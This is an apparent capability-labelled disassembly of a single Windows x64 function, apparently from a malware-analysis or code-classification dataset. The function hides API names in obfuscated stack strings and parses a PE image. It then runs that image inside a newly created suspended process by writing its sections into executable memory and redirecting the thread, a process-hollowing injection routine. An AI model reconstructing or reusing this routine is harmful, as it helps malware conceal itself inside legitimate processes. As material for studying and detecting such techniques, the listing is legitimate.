Function at 0x14013bd00
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rsp + 0x1f8], rbx
mov rax, qword [0x140176220]
xor rax, rsp
mov qword [rbp + 0x98], rax
mov r12, r8
mov rsi, rdx
mov r15, rcx
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x78], rax
or ebx, 0xffffffff
mov dword [rbp - 0x70], ebx
lea rcx, [rbp - 0x70]
call fcn.140131b40
mov r14d, eax
xor dil, dil
movzx r13d, byte [rbp + 0x110]
test r13b, r13b
je 0x14013be31
call fcn.14001e010
mov rcx, rax
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x14013bd99
mov ecx, 0x80004005
call fcn.14001d600
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x68], rax
movzx r9d, byte [rbp + 0x108]
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x80]
mov ecx, r14d
call fcn.140133c50
test al, al
je 0x14013be10
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14013be10
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov r14d, 1
mov dword [rsp + 0x20], r14d
lea r9d, [r14 + 1]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14012c850
test eax, eax
je 0x14013be10
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x78]
call fcn.140001830
movzx edi, dil
test eax, eax
cmovne edi, r14d
mov rax, qword [rbp - 0x68]
lea rdx, [rax - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14013be28
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test dil, dil
je 0x14013c26b
mov dword [rbp + 0x44], 0x32336c65
mov word [rbp + 0x41], 0x7265
mov dword [rbp + 0x48], 0x6c6c642e
mov byte [rbp + 0x40], 0x4b
mov byte [rbp + 0x43], 0x6e
mov byte [rbp + 0x4c], 0
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14013c26b
mov dword [rbp + 0x6f], 0x6f436461
mov dword [rbp + 0x74], 0x74786574
mov dword [rbp + 0x68], 0x54746553
mov byte [rbp + 0x78], 0
mov word [rbp + 0x6c], 0x7268
mov byte [rbp + 0x6e], 0x65
mov byte [rbp + 0x73], 0x6e
lea rdx, [rbp + 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185d40], rax
mov word [rbp + 0x31], 0x7365
mov word [rbp + 0x37], 0x7268
mov word [rbp + 0x34], 0x656d
mov word [rbp + 0x3a], 0x6461
mov byte [rbp + 0x39], 0x65
mov byte [rbp + 0x33], 0x75
mov byte [rbp + 0x30], 0x52
mov byte [rbp + 0x36], 0x54
mov byte [rbp + 0x3c], 0
lea rdx, [rbp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185d48], rax
mov dword [rbp + 0x59], 0x636f7250
mov word [rbp + 0x53], 0x696d
mov dword [rbp + 0x5d], 0x737365
mov word [rbp + 0x56], 0x7461
mov word [rbp + 0x51], 0x7265
mov byte [rbp + 0x58], 0x65
mov byte [rbp + 0x55], 0x6e
mov byte [rbp + 0x50], 0x54
lea rdx, [rbp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185d50], rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x14013c19a
movsxd rbx, dword [r15 + 0x3c]
add rbx, r15
cmp dword [rbx], 0x4550
jne 0x14013c19a
lea rdx, [rbp - 0x6c]
mov rcx, rsi
call fcn.140008390
movzx ecx, word [rbx + 4]
mov edx, 0x14c
mov eax, dword [rbp - 0x6c]
cmp cx, dx
jne 0x14013bf69
test eax, eax
jne 0x14013c26b
mov edx, 0x8664
cmp cx, dx
jne 0x14013bf7c
cmp eax, 6
jne 0x14013c26b
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp - 0x50]
call fcn.140054c50
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
xor edi, edi
mov word [rbp - 0x10], di
lea rax, [rsp + 0x60]
xor r9d, r9d
test r13b, r13b
je 0x14013bffc
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r8, r12
mov rdx, rsi
mov rcx, qword [rsp + 0x78]
call fcn.14012d650
jmp 0x14013c02e
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call fcn.14000ec70
test eax, eax
je 0x14013c1a0
mov edx, 0xc
xor ecx, ecx
lea r9d, [rdx - 8]
mov r8d, 0x1000
call fcn.140011e10
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140135600
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x14013c190
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
lea r8, [rbp - 0x60]
call fcn.1401298d0
lea r12, [rbx + 0x30]
mov rdx, qword [rbp - 0x60]
mov eax, edx
cmp rax, qword [r12]
jne 0x14013c0a9
mov rcx, qword [rsp + 0x60]
call fcn.14013f140
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rsp + 0x60]
call fcn.140004e80
mov r14, rax
mov rcx, qword [rsp + 0x60]
test rax, rax
je 0x14013c190
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], rdi
mov r8, r15
mov rdx, rax
call fcn.14012f960
movzx eax, word [rbx + 0x14]
mov esi, edi
cmp di, word [rbx + 6]
jae 0x14013c143
lea rdi, [rbx + 0x2c]
add rdi, rax
xor r12d, r12d
nop dword [rax]
nop dword [rax + rax]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r15
mov edx, dword [rdi - 8]
add rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x60]
call fcn.14012f960
lea rdi, [rdi + 0x28]
inc esi
movzx eax, word [rbx + 6]
cmp esi, eax
jl 0x14013c110
lea r12, [rbx + 0x30]
xor edi, edi
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
mov r8, r12
mov rcx, qword [rsp + 0x60]
call fcn.14012f960
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rsp + 0x68]
call qword [0x140185d40]
mov rcx, qword [rsp + 0x68]
call qword [0x140185d48]
mov bl, 1
jmp 0x14013c1a2
xor edx, edx
call qword [0x140185d50]
jmp 0x14013c1a0
xor bl, bl
xor edi, edi
jmp 0x14013c1a2
xor bl, bl
cmp qword [rbp - 0x78], 0
je 0x14013c244
mov dword [rbp + 0x20], 0x72657355
mov dword [rbp + 0x24], 0x2e766e65
mov dword [rbp + 0x28], 0x6c6c64
mov word [rbp + 0x93], 0x6f6c
mov word [rbp + 0x85], 0x796f
mov word [rbp + 0x96], 0x6b
mov dword [rbp + 0x8b], 0x6d6e6f72
mov dword [rbp + 0x80], 0x74736544
mov dword [rbp + 0x87], 0x69766e45
mov dword [rbp + 0x8f], 0x42746e65
mov byte [rbp + 0x95], 0x63
mov byte [rbp + 0x84], 0x72
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14013c244
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185d80], rax
test rax, rax
je 0x14013c244
mov rcx, qword [rbp - 0x78]
call rax
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14013c258
call fcn.140006bd0
mov qword [rsp + 0x78], rdi
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14013c266
call fcn.140006bd0
movzx eax, bl
jmp 0x14013c26d
xor al, al
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.140052380
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret